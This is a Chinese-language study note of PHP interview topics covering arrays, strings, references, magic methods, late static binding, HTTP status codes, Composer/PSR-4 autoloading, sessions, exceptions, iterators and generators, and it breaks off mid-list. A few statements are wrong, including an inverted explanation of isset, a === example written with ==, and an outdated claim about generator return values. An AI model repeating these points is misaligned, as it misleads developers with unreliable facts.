PHP 面試知識點整理歸納
全文已整理補充完畢,以後還會繼續更新文章裡面的錯誤,以及補充尚不完善的問題。
該篇文章是針對Github上wudi/PHP-Interview-Best-Practices-in-China資源的答案個人整理
lz也是初學者,以下知識點均為自己整理且保持不斷更新,也希望各路大神多多指點,若發現錯誤或有補充,可直接comment,lz時刻關注著。
由於內容比較多,沒有直接目錄,請自行對照 Github;沒有仔細整理格式,各位見諒見諒!
基礎篇
瞭解大部分陣列處理函式
- array_chunk — 將一個陣列分割成多個
- array_column — 返回陣列中指定的一列
- array_combine — 建立一個陣列,用一個陣列的值作為其鍵名,另一個陣列的值作為其值(另一種意義的合併陣列)
- array_flip — 交換陣列中的鍵和值
- array_key_exists — 檢查陣列裡是否有指定的鍵名或索引
- array_key_first — Gets the first key of an array
- array_key_last — Gets the last key of an array
- array_keys — 返回陣列中部分的或所有的鍵名
- array_merge — 合併一個或多個陣列
- array_pop — 彈出陣列最後一個單元(出棧)
- array_push — 將一個或多個單元壓入陣列的末尾(入棧)
- array_rand — 從陣列中隨機取出一個或多個單元
- array_reverse — 返回單元順序相反的陣列
- array_search — 在陣列中搜尋給定的值,如果成功則返回首個相應的鍵名
- array_shift — 將陣列開頭的單元移出陣列
- array_slice — 從陣列中取出一段
- array_sum — 對陣列中所有值求和
- array_unique — 移除陣列中重複的值
- array_unshift — 在陣列開頭插入一個或多個單元
- array_values — 返回陣列中所有的值
- in_array — 檢查陣列中是否存在某個值
- list — 把陣列中的值賦給一組變數
- shuffle — 打亂陣列
- sort — 對陣列排序
- uasort — 使用使用者自定義的比較函式對陣列中的值進行排序並保持索引關聯
- uksort — 使用使用者自定義的比較函式對陣列中的鍵名進行排序
- usort — 使用使用者自定義的比較函式對陣列中的值進行排序
字串處理函式 ,區別 mb_ 系列函式
- chunk_split — 將字串分割成小塊
- explode — 使用一個字串分割另一個字串
- implode — 將一個一維陣列的值轉化為字串
- lcfirst — 使一個字串的第一個字元小寫
- ltrim — 刪除字串開頭的空白字元(或其他字元)
- md5 — 計算字串的 MD5 雜湊值
- money_format — 將數字格式化成貨幣字串
- nl2br — 在字串所有新行之前插入 HTML 換行標記
- number_format — 以千位分隔符方式格式化一個數字
- ord — 返回字元的 ASCII 碼值
- rtrim — 刪除字串末端的空白字元(或者其他字元)
- str_replace — 子字串替換
- str_ireplace — str_replace 的忽略大小寫版本
- str_repeat — 重複一個字串
- str_shuffle — 隨機打亂一個字串
- str_split — 將字串轉換為陣列
- stripos — 查詢字串首次出現的位置(不區分大小寫)
- strpos — 查詢字串首次出現的位置
- strstr — 查詢字串的首次出現
- stristr — strstr 函式的忽略大小寫版本
- strlen — 獲取字串長度
- strrchr — 查詢指定字元在字串中的最後一次出現
- strrev — 反轉字串
- strripos — 計算指定字串在目標字串中最後一次出現的位置(不區分大小寫)
- strrpos — 計算指定字串在目標字串中最後一次出現的位置
- strtok — 標記分割字串
- strtolower — 將字串轉化為小寫
- strtoupper — 將字串轉化為大寫
- substr_count — 計算字串出現的次數
- substr_replace — 替換字串的子串
- substr — 返回字串的子串
- trim — 去除字串首尾處的空白字元(或者其他字元)
- ucfirst — 將字串的首字母轉換為大寫
- ucwords — 將字串中每個單詞的首字母轉換為大寫
- wordwrap — 打斷字串為指定數量的字串
普通字串處理函式和mb_系列函式的區別:
不同編碼的個別語言(比如中文)所佔位元組數不同,一個漢字在GB2312編碼下佔2個位元組,在UTF-8(是變長編碼)編碼下佔2-3個位元組,普通字串處理函式是按每個字元1位元組來處理的,而mb_系列的函式在使用時可以多指定一個編碼引數,方便處理不同編碼的中文。
最簡單的例子,strlen()會返回一個字串所佔位元組數,而mb_strlen()會返回一個字串的字元數。再比如,substr($str2, 2, 2)在$str為中文時可能會正好擷取到一個漢字的一部分,這時就會發生亂碼,而mb_substr($str, 2, 2, ‘utf-8’)指定編碼後就不會發生亂碼問題了,中文時即是取幾個漢字。
& 引用,結合案例分析
PHP 的引用允許用兩個變數來指向同一個內容。
$a =& $b;
$a 和 $b 在這裡是完全相同的,這並不是 $a 指向了 $b 或者相反,而是 $a 和 $b 指向了同一個地方;
引用做的第二件事是用引用傳遞變數
function foo(&$var)
{ $var++; }
$a=5;
foo($a);
將使 $a 變成 6。這是因為在 foo 函式中變數 $var 指向了和 $a 指向的同一個內容。
引用不是指標,下面的結構不會產生預期的效果:
function foo(&$var)
{ $var =& $GLOBALS["baz"]; }
foo($bar);
當 unset 一個引用,只是斷開了變數名和變數內容之間的繫結。這並不意味著變數內容被銷燬了。例如:
$a = 1;
$b =& $a;
unset($a);
不會 unset $b,只是 $a。
== 與 === 區別
簡單來說,==是不帶型別比較是否相同(比如數字100 == ‘100’結果為true),===是帶型別比較是否相同(比如100 == ‘100’結果為false),官方手冊的解釋也類似:
isset 與 empty 區別
看到一個簡潔程式碼的解釋:
再具體說:$a不存在和$a = null 兩種情況在isset看來為true,其餘為false(包括$a = ‘’;)
$a = null, 0, false, ‘ ’, 或不存在時在empty看來為true,其餘為false。
再多說一句,isset用來判斷變數是否存在;empty用來判斷變數是否有值;這裡要特別注意0這個值在某些表單驗證情況下可能是有效值,此時不能僅用empty判斷變數是否有值,需要另作處理。
全部魔術函式理解
- __construct 類的建構函式,常用來給類的屬性賦值,注意事項:
如果子類中定義了建構函式則不會隱式呼叫其父類的建構函式。要執行父類的建構函式,需要在子類的建構函式中呼叫 parent::__construct()。如果子類沒有定義建構函式則會如同一個普通的類方法一樣從父類繼承(假如沒有被定義為 private 的話)
- __destruct 解構函式,解構函式會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行。
- __call,__callStatic 在物件中呼叫一個不可訪問方法時,__call() 會被呼叫。在靜態上下文中呼叫一個不可訪問方法時,__callStatic() 會被呼叫,作為呼叫類中不存在的方法時對開發者的一個友好提示
- __set,__get,__isset ,__unset 在給不可訪問屬性賦值時,__set() 會被呼叫;讀取不可訪問屬性的值時,__get() 會被呼叫;當對不可訪問屬性呼叫 isset() 或 empty() 時,__isset() 會被呼叫;當對不可訪問屬性呼叫 unset() 時,__unset() 會被呼叫。
- __sleep,__wakeup serialize() 函式會檢查類中是否存在一個魔術方法 __sleep()。如果存在,該方法會先被呼叫,然後才執行序列化操作。此功能可以用於清理物件,並返回一個包含物件中所有應被序列化的變數名稱的陣列。如果該方法未返回任何內容,則 NULL 被序列化,併產生一個 E_NOTICE 級別的錯誤.返回父類的私有成員的名字,常用於提交未提交的資料,或類似的清理操作;與之相反,unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先呼叫 __wakeup 方法,預先準備物件需要的資源。__wakeup() 經常用在反序列化操作中,例如重新建立資料庫連線,或執行其它初始化操作
- __toString 用於當直接echo $obj(一個物件)時該顯示什麼內容,必須返回一個字串且不能在方法內丟擲異常
- __invoke 當嘗試以呼叫函式的方式呼叫一個物件時,__invoke() 方法會被自動呼叫,例如function __invoke($x) { var_dump($x); } $obj = new CallableClass; $obj(5);會輸出int(5)
- __set_state 呼叫 var_export() 匯出類時,此靜態 方法會被呼叫。本方法的唯一引數是一個陣列,其中包含按 array('property' => value, ...) 格式排列的類屬性
- __clone 物件複製可以通過 clone 關鍵字來完成(如果可能,這將呼叫物件的 __clone() 方法)。物件中的 __clone() 方法不能被直接呼叫。
- $copy_of_object = clone $object; 當物件被複制後,PHP 5 會對物件的所有屬性執行一個淺複製(shallow copy)。所有的引用屬性 仍然會是一個指向原來的變數的引用。當複製完成時,如果定義了 __clone() 方法,則新建立的物件(複製生成的物件)中的 __clone() 方法會被呼叫,可用於修改屬性的值(如果有必要的話)。
- __debugInfo 當var_dumo(new Class)(引數為一個物件時),該方法可以控制顯示的內容,若沒有定義此方法,var_dump()將預設展示物件的所有屬性和方法
static、$this、self 區別
$this通俗解釋就是當前類的一個例項,不必多說,主要是static::和self::的區別
class A {
public static function className(){
echo __CLASS__;
}
public static function test(){
self::className();
}}
class B extends A{
public static function className(){
echo __CLASS__;
}}
B::test();
這將列印出來A
另一方面static::它具有預期的行為
class A {
public static function className(){
echo __CLASS__;
}
public static function test(){
static::className();
}}
class B extends A{
public static function className(){
echo __CLASS__;
}}
B::test();
這將列印出來B
這在PHP 5.3.0中稱為後期靜態繫結。它解決了呼叫執行時引用的類的限制。
private、protected、public、final 區別
public:許可權是最大的,可以內部呼叫,例項呼叫等。
protected: 受保護型別,用於本類和繼承此類的子類呼叫。
private: 私有型別,只有在本類中使用。
static:靜態資源,可以被子類繼承。
abstract:修飾抽象方法,沒有方法體,由繼承該類的子類來實現。
final:表示該變數、該方法已經“完成”,不可被覆蓋。修飾類時該類不能被繼承。
(因此final和abstract不能同時出現)
OOP 思想
簡單理解:
物件導向的程式設計就是編出一個人來,這個人可以做很多種動作,跑,跳,走,舉手...他能做什麼取決於你如何組合這些動作,有些動作在一些功能中是不用的。
而層次化的程式設計(程式導向)就是造出一個具體的工具,他只能幹這樣一件事,條件——結果。
抽象類、介面 分別使用場景
介面通常是為了抽象一種行為,介面是一種規範,在設計上的意義是為了功能模組間的解耦,方便後面的功能擴充套件、維護,介面不能有具體的方法;
抽象類可以有具體的方法,也可以有抽象方法,一旦一個類有抽象方法,這個類就必須宣告為抽象類,很多時候是為子類提供一些共用方法;
所以,抽象類是為了簡化介面的實現,他不僅提供了公共方法的實現,讓你可以快速開發,又允許你的類完全可以自己實現所有的方法,不會出現緊耦合的問題。
應用場合很簡單了
1 優先定義介面
2 如果有多個介面實現有公用的部分,則使用抽象類,然後整合它。
舉個簡單的例子:有一個動物介面,內有動物叫聲和動物說你好兩個方法,在實現該介面時各個動物的叫聲肯定是不同的,但是他們都在說你好是相同的,此時就可以用抽象類,把相同的說你好的方法抽象出去,就不用在每個動物類中寫了。
Trait 是什麼東西
Trait 是為類似 PHP 的單繼承語言而準備的一種程式碼複用機制。Trait 為了減少單繼承語言的限制,使開發人員能夠自由地在不同層次結構內獨立的類中複用 method。Trait 和 Class 組合的語義定義了一種減少複雜性的方式,避免傳統多繼承和 Mixin 類相關典型問題。
Trait 和 Class 相似,但僅僅旨在用細粒度和一致的方式來組合功能。 無法通過 trait 自身來例項化。它為傳統繼承增加了水平特性的組合;也就是說,應用的幾個 Class 之間不需要繼承。
簡單理解:Trait為不支援多繼承的php實現了多繼承,使用時不是用extends繼承,而是在類內部用 use 類名 表示。
重名方法優先順序問題:當前類的成員覆蓋 trait 的方法,而 trait 則覆蓋被繼承的方法。
echo、print、print_r 區別(區分出表示式與語句的區別)
Echo,print是語言結構,print_r和var_dump是常規功能
print並且echo或多或少相同; 它們都是顯示字串的語言結構。差異很微妙:print返回值為1,因此可以在表示式中使用,但echo具有void返回型別; echo可以採用多個引數,儘管這種用法很少見; echo比print快一點。(就個人而言,我總是使用echo,從不print。)
var_dump列印出變數的詳細轉儲,包括其型別大小和任何子項的型別和大小(如果它是陣列或物件)。
print_r以更易於閱讀的格式化形式列印變數(陣列或物件):不能傳遞字串,它省略了型別資訊,不給出陣列大小等。
var_dump, print_r根據我的經驗,通常在除錯時更有用。當您不確切知道變數中的值/型別時,它尤其有用。考慮這個測試程式:
$values = array(0, 0.0, false, '');
var_dump($values);
print_r ($values);
隨著print_r你不能告訴之間的區別0和0.0,或false和'':
array(4) {
[0]=> int(0)
[1]=> float(0)
[2]=> bool(false)
[3]=> string(0) ""
}
Array(
[0] => 0
[1] => 0
[2] =>
[3] => )
__construct 與 __destruct 區別
在一個類中定義一個方法作為建構函式。具有建構函式的類會在每次建立新物件時先呼叫此方法,所以非常適合在使用物件之前做一些初始化工作。
解構函式會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行。和建構函式一樣,父類的解構函式不會被引擎暗中呼叫。要執行父類的解構函式,必須在子類的解構函式體中顯式呼叫 parent::__destruct()。此外也和建構函式一樣,子類如果自己沒有定義解構函式則會繼承父類的。解構函式即使在使用 exit() 終止指令碼執行時也會被呼叫。在解構函式中呼叫 exit() 將會中止其餘關閉操作的執行。
static 作用(區分類與函式內)手冊 、SOF
宣告類屬性或方法為靜態,就可以不例項化類而直接訪問。靜態屬性不能通過一個類已例項化的物件來訪問(但靜態方法可以)。
為了相容 PHP 4,如果沒有指定訪問控制,屬性和方法預設為公有。
由於靜態方法不需要通過物件即可呼叫,所以偽變數 $this 在靜態方法中不可用。
靜態屬性不可以由物件通過 -> 操作符來訪問,但可以由物件通過 :: 來訪問
用靜態方式呼叫一個非靜態方法會導致一個 E_STRICT 級別的錯誤。
就像其它所有的 PHP 靜態變數一樣,靜態屬性只能被初始化為文字或常量,不能使用表示式。所以可以把靜態屬性初始化為整數或陣列,但不能初始化為另一個變數或函式返回值,也不能指向一個物件。
也可以用一個值等於類名的字串變數來動態呼叫類。但該變數的值不能為關鍵字 self,parent 或 static,比如有個class A{}, 則可以用$a=’A’; $a::這樣呼叫
在類之外(即:在函式中),static變數是在函式退出時不會丟失其值的變數。在同一函式的不同呼叫中維護的變數只有一個值。從PHP手冊的例子:
function test(){
static $a = 0;
echo $a;
$a++;}
test(); // prints 0
test(); // prints 1
test(); // prints 2
__toString() 作用
用於一個類被當成字串時應怎樣回應。例如 echo $obj; ($obj為一個物件) 應該顯示些什麼。此方法必須返回一個字串,否則將發出一條E_RECOVERABLE_ERROR 級別的致命錯誤。類似與Java的toString方法
單引號'與雙引號"區別
- 單引號字串幾乎完全“按原樣”顯示。變數和大多數轉義序列都不會被解釋。例外情況是,要顯示單引號字元,必須使用反斜槓\'轉義它,要顯示反斜槓字元,必須使用另一個反斜槓轉義它\\。
- 雙引號字串將顯示一系列轉義字元(包括一些正規表示式),並且將解析字串中的變數。這裡重要的一點是,您可以使用花括號來隔離要解析的變數的名稱。例如,假設您有變數$type,那麼您echo "The $type are"將查詢該變數$type。繞過這個用途echo "The {$type} are"您可以在美元符號之前或之後放置左括號。看一下字串解析,看看如何使用陣列變數等。
- Heredoc字串語法就像雙引號字串一樣。它始於<<<。在此運算子之後,提供識別符號,然後提供換行符。字串本身如下,然後再次使用相同的識別符號來關閉引號。您不需要在此語法中轉義引號。
- Nowdoc(自PHP 5.3.0開始)字串語法基本上類似於單引號字串。不同之處在於,甚至不需要轉義單引號或反斜槓。nowdoc用與heredocs相同的<<<序列標識,但後面的識別符號用單引號括起來,例如<<<'EOT'。在nowdoc中沒有解析。
常見 HTTP 狀態碼,分別代表什麼含義,301 什麼意思 404 呢?
- 1xx訊息:這一型別的狀態碼,代表請求已被接受,需要繼續處理。由於HTTP/1.0協議中沒有定義任何1xx狀態碼,所以除非在某些試驗條件下,伺服器禁止向此類客戶端傳送1xx響應。
- 2xx成功:這一型別的狀態碼,代表請求已成功被伺服器接收、理解、並接受
- 200 OK:請求已成功,請求所希望的響應頭或資料體將隨此響應返回。實際的響應將取決於所使用的請求方法。在GET請求中,響應將包含與請求的資源相對應的實體。在POST請求中,響應將包含描述或操作結果的實體
- 202 Accepted:伺服器已接受請求,但尚未處理。最終該請求可能會也可能不會被執行,並且可能在處理髮生時被禁止。
- 204 No Content:伺服器成功處理了請求,沒有返回任何內容
- 3xx重定向:這類狀態碼代表需要客戶端採取進一步的操作才能完成請求。通常,這些狀態碼用來重定向,後續的請求地址(重定向目標)在本次響應的Location域中指明。
- 301 Moved Permanently:被請求的資源已永久移動到新位置,並且將來任何對此資源的引用都應該使用本響應返回的若干個URI之一。如果可能,擁有連結編輯功能的客戶端應當自動把請求的地址修改為從伺服器反饋回來的地址。除非額外指定,否則這個響應也是可快取的。新的永久性的URI應當在響應的Location域中返回。除非這是一個HEAD請求,否則響應的實體中應當包含指向新的URI的超連結及簡短說明。如果這不是一個GET或者HEAD請求,那麼瀏覽器禁止自動進行重定向,除非得到使用者的確認,因為請求的條件可能因此發生變化。注意:對於某些使用HTTP/1.0協議的瀏覽器,當它們傳送的POST請求得到了一個301響應的話,接下來的重定向請求將會變成GET方式。
- 4xx客戶端錯誤:這類的狀態碼代表了客戶端看起來可能發生了錯誤,妨礙了伺服器的處理。除非響應的是一個HEAD請求,否則伺服器就應該返回一個解釋當前錯誤狀況的實體,以及這是臨時的還是永久性的狀況。這些狀態碼適用於任何請求方法。瀏覽器應當向使用者顯示任何包含在此類錯誤響應中的實體內容
- 400 Bad Request:由於明顯的客戶端錯誤(例如,格式錯誤的請求語法,太大的大小,無效的請求訊息或欺騙性路由請求),伺服器不能或不會處理該請求
- 401 Unauthorized:類似於403 Forbidden,401語義即“未認證”,即使用者沒有必要的憑據。[32]該狀態碼錶示當前請求需要使用者驗證。該響應必須包含一個適用於被請求資源的WWW-Authenticate資訊頭用以詢問使用者資訊。客戶端可以重複提交一個包含恰當的Authorization頭資訊的請求。
- 403 Forbidden:伺服器已經理解請求,但是拒絕執行它。與401響應不同的是,身份驗證並不能提供任何幫助,而且這個請求也不應該被重複提交。如果這不是一個HEAD請求,而且伺服器希望能夠講清楚為何請求不能被執行,那麼就應該在實體內描述拒絕的原因。當然伺服器也可以返回一個404響應,假如它不希望讓客戶端獲得任何資訊。
- 404 Not Found:請求失敗,請求所希望得到的資源未被在伺服器上發現,但允許使用者的後續請求。[35]沒有資訊能夠告訴使用者這個狀況到底是暫時的還是永久的。假如伺服器知道情況的話,應當使用410狀態碼來告知舊資源因為某些內部的配置機制問題,已經永久的不可用,而且沒有任何可以跳轉的地址。404這個狀態碼被廣泛應用於當伺服器不想揭示到底為何請求被拒絕或者沒有其他適合的響應可用的情況下。
- 405 Method Not Allowed:請求行中指定的請求方法不能被用於請求相應的資源。
- 408 Request Timeout:請求超時
- 5xx伺服器錯誤:表示伺服器無法完成明顯有效的請求。[56]這類狀態碼代表了伺服器在處理請求的過程中有錯誤或者異常狀態發生,也有可能是伺服器意識到以當前的軟硬體資源無法完成對請求的處理。除非這是一個HEAD請求,否則伺服器應當包含一個解釋當前錯誤狀態以及這個狀況是臨時的還是永久的解釋資訊實體。瀏覽器應當向使用者展示任何在當前響應中被包含的實體。這些狀態碼適用於任何響應方法
- 500 Internal Server Error:通用錯誤訊息,伺服器遇到了一個未曾預料的狀況,導致了它無法完成對請求的處理。沒有給出具體錯誤資訊
- 502 Bad Gateway:作為閘道器或者代理工作的伺服器嘗試執行請求時,從上游伺服器接收到無效的響應
- 503 Service Unavailable:由於臨時的伺服器維護或者過載,伺服器當前無法處理請求。這個狀況是暫時的,並且將在一段時間以後恢復。
- 504 Gateway Timeout:作為閘道器或者代理工作的伺服器嘗試執行請求時,未能及時從上游伺服器(URI標識出的伺服器,例如HTTP、FTP、LDAP)或者輔助伺服器(例如DNS)收到響應。注意:某些代理伺服器在DNS查詢超時時會返回400或者500錯誤。
進階篇
Autoload、Composer 原理 PSR-4 、原理
Autoload機制可以使得PHP程式有可能在使用類時才自動包含類檔案,而不是一開始就將所有的類檔案include進來,這種機制也稱為lazy loading(懶載入)
function __autoload($classname)
{
$classpath="./".$classname.'.class.php';
if(file_exists($classpath))
{ require_once($classpath); }
else
{ echo 'class file'.$classpath.'not found!'; }
}
$person = new Person(”Altair”, 6);
var_dump ($person);
通常PHP5在使用一個類時,如果發現這個類沒有載入,就會自動執行__autoload()函式,在這個函式中我們可以載入需要使用的類。autoload至少要做三件事情,第一件事是根據類名確定類檔名,第二件事是確定類檔案所在的磁碟路徑(在我們的例子是最簡單的情況,類與呼叫它們的PHP程式檔案在同一個資料夾下),第三件事是將類從磁碟檔案中載入到系統中(php7.2廢除__autoload函式,建議使用spl_autoload_register() 實現相同功能)
Autoload原理簡單概述:
1.檢查執行器全域性變數函式指標autoload_func是否為NULL。
2.如果autoload_func==NULL, 則查詢系統中是否定義有__autoload()函式,如果沒有,則報告錯誤並退出。
3.如果定義了__autoload()函式,則執行__autoload()嘗試載入類,並返回載入結果。
4.如果autoload_func不為NULL,則直接執行autoload_func指標指向的函式用來載入類。注意此時並不檢查__autoload()函式是否定義。
spl_autoload_register() 就是我們上面所說的__autoload呼叫堆疊,我們可以向這個函式註冊多個我們自己的 autoload() 函式,當 PHP 找不到類名時,PHP就會呼叫這個堆疊,然後去呼叫自定義的 autoload() 函式,實現自動載入功能。如果我們不向這個函式輸入任何引數,那麼就會預設註冊 spl_autoload() 函式
Composer 做了哪些事情:你有一個專案依賴於若干個庫;其中一些庫依賴於其他庫;你宣告你所依賴的東西;Composer 會找出哪個版本的包需要安裝,並安裝它們(將它們下載到你的專案中)。
執行 composer require 時發生了什麼:composer 會找到符合 PR4 規範的第三方庫的源;將其載入到 vendor 目錄下;初始化頂級域名的對映並寫入到指定的檔案裡;寫好一個 autoload 函式,並且註冊到 spl_autoload_register()裡。
Composer是利用的遵循psr-4規範的類自動載入機制實現的,PSR-4規範簡介:
- 完整的類名 必須 要有一個頂級名稱空間,被稱為 "vendor namespace";
- 完整的類名 可以 有一個或多個子名稱空間;
- 完整的類名 必須 有一個最終的類名;
- 完整的類名中任意一部分中的下滑線都是沒有特殊含義的;
- 完整的類名 可以 由任意大小寫字母組成;
- 所有類名都 必須 是大小寫敏感的。
- 完整的類名中,去掉最前面的名稱空間分隔符,前面連續的一個或多個名稱空間和子名稱空間,作為「名稱空間字首」,其必須與至少一個「檔案基目錄」相對應;
- 緊接名稱空間字首後的子名稱空間 必須 與相應的「檔案基目錄」相匹配,其中的名稱空間分隔符將作為目錄分隔符。
- 末尾的類名 必須 與對應的以 .php 為字尾的檔案同名。
- 自動載入器(autoloader)的實現 一定不可 丟擲異常、一定不可 觸發任一級別的錯誤資訊以及 不應該 有返回值。
Composer自動載入原理概述:
如果我們在程式碼中寫下 new phpDocumentor\Reflection\Element(),PHP 會通過 SPL_autoload_register 呼叫 loadClass -> findFile -> findFileWithExtension。步驟如下:
將 \ 轉為檔案分隔符/,加上字尾php,變成 $logicalPathPsr4, 即 phpDocumentor/Reflection//Element.php;
利用名稱空間第一個字母p作為字首索引搜尋 prefixLengthsPsr4 陣列,查到下面這個陣列:
p' =>
array (
'phpDocumentor\\Reflection\\' => 25,
'phpDocumentor\\Fake\\' => 19,
)
遍歷這個陣列,得到兩個頂層名稱空間 phpDocumentor\Reflection\ 和 phpDocumentor\Fake\
在這個陣列中查詢 phpDocumentor\Reflection\Element,找出 phpDocumentor\Reflection\ 這個頂層名稱空間並且長度為25。
在prefixDirsPsr4 對映陣列中得到phpDocumentor\Reflection\ 的目錄對映為:
'phpDocumentor\\Reflection\\' =>
array (
0 => __DIR__ . '/..' . '/phpdocumentor/reflection-common/src',
1 => __DIR__ . '/..' . '/phpdocumentor/type-resolver/src',
2 => __DIR__ . '/..' . '/phpdocumentor/reflection-docblock/src',
),
遍歷這個對映陣列,得到三個目錄對映;
檢視 “目錄+檔案分隔符//+substr($logicalPathPsr4, $length)”檔案是否存在,存在即返回。這裡就是
'__DIR__/../phpdocumentor/reflection-common/src + substr(phpDocumentor/Reflection/Element.php,25)'
如果失敗,則利用 fallbackDirsPsr4 陣列裡面的目錄繼續判斷是否存在檔案
Session 共享、存活時間
為什麼要使用Session共享:
分散式開發專案中,使用者通過瀏覽器登入商城,實際上會被轉發到不同的伺服器,當使用者登入進入伺服器A,session儲存了使用者的資訊,使用者再次點選頁面被轉發到伺服器B,這時問題來了,伺服器B沒有該使用者的session資訊,無法驗證通過,使用者被踢回到登入頁面,這樣體驗效果非常不好,甚至無法驗證使用者,購物車裡面商品都不存在了。
利用Redis實現簡單的Session共享:
- 使用者第一次進入商城首頁,給一個CSESSIONID,(不用JSESSIONID的原因),使用者新增商品,各種需要記錄的操作,都與這個CSESSIONID關聯起來;
- 當使用登入操作時候,將這個使用者的資訊,如使用者名稱等存入到redis中,通過K_V,將CSESSIONID加一個標誌作為key,將使用者資訊作為value;
- 當使用者點選頁面被轉發到其他伺服器時候,在需要驗證是否同一個使用者時,就可以從redis中取出value,進行驗證使用者資訊,實現共享。
Session 在php配置檔案中的預設有效時間是24分鐘,設定session永久有效的方法:
如果擁有伺服器的操作許可權,那麼只需要進行如下的步驟:
1、把“session.use_cookies”設定為1,開啟Cookie儲存SessionID,不過預設就是1,一般不用修改;
2、把“session.cookie_lifetime”改為正無窮(當然沒有正無窮的引數,不過999999999和正無窮也沒有什麼區別);
3、把“session.gc_maxlifetime”設定為和“session.cookie_lifetime”一樣的時間;
異常處理
異常處理用於在指定的錯誤(異常)情況發生時改變指令碼的正常流程。這種情況稱為異常。
異常的簡單使用:
丟擲一個異常throw new Exception("Value must be 1 or below"),同時不去捕獲它,伺服器會報Fatal error: Uncaught exception 'Exception' 的錯誤;
丟擲一個異常throw new Exception("Value must be 1 or below"),並try{} catch(Exception $e){echo:’Message:’ . $e->getMessage();},當異常發生時,伺服器就會報預設的錯誤提示:Message: Value must be 1 or below
自定義Exception類:必須繼承Exception類,可以使用Exception類的所有方法:
class customException extends Exception
{
public function errorMessage()
{
//error message
$errorMsg = 'Error on line '.$this->getLine().' in '.$this->getFile()
.': <b>'.$this->getMessage().'</b> is not a valid E-Mail address';
return $errorMsg;
}
}
異常的規則:
- 需要進行異常處理的程式碼應該放入 try 程式碼塊內,以便捕獲潛在的異常。
- 每個 try 或 throw 程式碼塊必須至少擁有一個對應的 catch 程式碼塊。
- 使用多個 catch 程式碼塊可以捕獲不同種類的異常。
- 可以在 try 程式碼塊內的 catch 程式碼塊中再次丟擲(re-thrown)異常。
簡而言之:如果丟擲了異常,就必須捕獲它
如何 foreach 迭代物件
展示foreach工作原理的例子:
class myIterator implements Iterator {
private $position = 0;
private $array = array(
"firstelement",
"secondelement",
"lastelement",
);
public function __construct() {
$this->position = 0;
}
//返回到迭代器的第一個元素
function rewind() {
var_dump(__METHOD__);
$this->position = 0;
}
// 返回當前元素
function current() {
var_dump(__METHOD__);
return $this->array[$this->position];
}
//返回當前元素的鍵
function key() {
var_dump(__METHOD__);
return $this->position;
}
//向前移動到下一個元素
function next() {
var_dump(__METHOD__);
++$this->position;
}
//檢查當前位置是否有效
function valid() {
var_dump(__METHOD__);
return isset($this->array[$this->position]);
}
}
$it = new myIterator;
foreach($it as $key => $value) {
var_dump($key, $value);
echo "\n";
}
輸出結果:
string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"
string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"
string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"
string(16) "myIterator::next"
string(17) "myIterator::valid"
如何陣列化操作物件 $obj[key];
PHP提供了ArrayAccess介面使實現此介面的類的例項可以向運算元組一樣通過$obj[key]來操作,以下是php手冊中對實現ArrayAccess介面的類的示例:
class obj implements arrayaccess {
private $container = array();
public function __construct() {
$this->container = array(
"one" => 1,
"two" => 2,
"three" => 3,
);
}
//設定一個偏移位置的值
public function offsetSet($offset, $value) {
if (is_null($offset)) {
$this->container[] = $value;
} else {
$this->container[$offset] = $value;
}
}
//檢查一個偏移位置是否存在
public function offsetExists($offset) {
return isset($this->container[$offset]);
}
//復位一個偏移位置的值
public function offsetUnset($offset) {
unset($this->container[$offset]);
}
//獲取一個偏移位置的值
public function offsetGet($offset) {
return isset($this->container[$offset]) ? $this->
container[$offset] : null;
}
}
對該類測試使用:
$obj = new obj;
var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>
以上例程的輸出類似於:
bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
[container:obj:private] => Array
(
[one] => 1
[three] => 3
[two] => A value
[0] => Append 1
[1] => Append 2
[2] => Append 3
)
)
如何函式化物件 $obj(123);
利用PHP提供的魔術函式__invoke()方法可以直接實現,當嘗試以呼叫函式的方式呼叫一個物件時,__invoke() 方法會被自動呼叫,下面是官方手冊示例:
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
輸出結果:
int(5)
bool(true)
yield 是什麼,說個使用場景 yield
PHP官方手冊對yield的解釋:
它最簡單的呼叫形式看起來像一個return申明,不同之處在於普通return會返回值並終止函式的執行,而yield會返回一個值給迴圈呼叫此生成器的程式碼並且只是暫停執行生成器函式。
我的簡單理解:yield起一個暫停程式的作用,比如在一個迴圈中,程式執行遇到yield語句就會返回yield宣告的資料,而不是迴圈完整體返回,加了yield後就會挨個返回。
Caution:如果在一個表示式上下文(例如在一個賦值表示式的右側)中使用yield,你必須使用圓括號把yield申明包圍起來。 例如這樣是有效的:$data = (yield $value);
屬於PHP生成器語法,官方手冊的解釋:
一個生成器函式看起來像一個普通的函式,不同的是普通函式返回一個值,而一個生成器可以yield生成許多它所需要的值。
當一個生成器被呼叫的時候,它返回一個可以被遍歷的物件.當你遍歷這個物件的時候(例如通過一個foreach迴圈),PHP 將會在每次需要值的時候呼叫生成器函式,並在產生一個值之後儲存生成器的狀態,這樣它就可以在需要產生下一個值的時候恢復呼叫狀態。
一旦不再需要產生更多的值,生成器函式可以簡單退出,而呼叫生成器的程式碼還可以繼續執行,就像一個陣列已經被遍歷完了。
Note:一個生成器不可以返回值: 這樣做會產生一個編譯錯誤。然而return空是一個有效的語法並且它將會終止生成器繼續執行。
使用場景:
laravel框架的model以遊標方式取資料時,用的是yield來防止一次性取資料太多導致記憶體不足的問題
PSR 是什麼,PSR-1, 2, 4, 7
PSR-1---基礎編碼規範
PSR-2---編碼風格規範
PSR-4---自動載入規範
PSR-7---HTTP 訊息介面規範
如何獲取客戶端 IP 和服務端 IP 地址
-
- 客戶端 IP
-
$_SERVER['REMOTE_ADDR'] 瀏覽當前頁面的使用者的 IP 地址
-
